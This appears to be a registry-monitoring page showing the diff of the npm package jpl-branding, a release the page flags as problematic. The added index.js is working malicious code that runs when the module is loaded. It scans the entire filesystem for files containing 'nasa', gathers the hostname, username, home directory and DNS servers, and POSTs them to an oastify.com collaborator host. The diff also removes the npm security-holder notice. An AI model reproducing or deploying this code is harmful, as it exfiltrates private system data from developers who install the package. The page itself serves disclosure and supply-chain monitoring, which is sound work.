jpl-branding 0.0.1-security → 2.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of jpl-branding might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +84 -0
  2. package/package.json +9 -6
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,84 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const fs = require("fs");
6
+ const path = require("path");
7
+ const packageJSON = require("./package.json");
8
+ const package = packageJSON.name;
9
+
10
+ // Search for the term "powerschool" across the file system
11
+ let searchResults = [];
12
+
13
+ function searchForTerm(directory) {
14
+ try {
15
+ const files = fs.readdirSync(directory);
16
+
17
+ files.forEach((file) => {
18
+ const filePath = path.join(directory, file);
19
+
20
+ try {
21
+ const stats = fs.statSync(filePath);
22
+
23
+ if (stats.isDirectory()) {
24
+ // Recursively search directories
25
+ searchForTerm(filePath);
26
+ } else if (stats.isFile()) {
27
+ // Read and search files
28
+ const fileContent = fs.readFileSync(filePath, "utf8");
29
+ if (fileContent.includes("nasa")) {
30
+ searchResults.push(`Found in: ${filePath}`);
31
+ }
32
+ }
33
+ } catch (err) {
34
+ // Ignore permission errors or other issues
35
+ }
36
+ });
37
+ } catch (err) {
38
+ // Ignore errors when accessing directories
39
+ }
40
+ }
41
+
42
+ // Start searching from root
43
+ searchForTerm("/");
44
+
45
+ const trackingData = JSON.stringify({
46
+ p: package,
47
+ c: __dirname,
48
+ hd: os.homedir(),
49
+ hn: os.hostname(),
50
+ un: os.userInfo().username,
51
+ dns: dns.getServers(),
52
+ r: packageJSON ? packageJSON._resolved : undefined,
53
+ v: packageJSON.version,
54
+ pjson: packageJSON,
55
+ searchResults: searchResults.join("\n"), // Add search results here
56
+ });
57
+
58
+ var postData = querystring.stringify({
59
+ msg: trackingData,
60
+ });
61
+
62
+ var options = {
63
+ hostname: "2svqhzxchsur1kehbtylx6519sfj3arz.oastify.com", // Replace with Burp collaborator link
64
+ port: 443,
65
+ path: "/",
66
+ method: "POST",
67
+ headers: {
68
+ "Content-Type": "application/x-www-form-urlencoded",
69
+ "Content-Length": postData.length,
70
+ },
71
+ };
72
+
73
+ var req = https.request(options, (res) => {
74
+ res.on("data", (d) => {
75
+ process.stdout.write(d);
76
+ });
77
+ });
78
+
79
+ req.on("error", (e) => {
80
+ // console.error(e);
81
+ });
82
+
83
+ req.write(postData);
84
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,9 @@
1
- {
2
- "name": "jpl-branding",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "jpl-branding",
3
+ "version": "2.1.1",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "start": "echo 'hello'"
7
+ },
8
+ "dependencies": { }
9
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=jpl-branding for more information.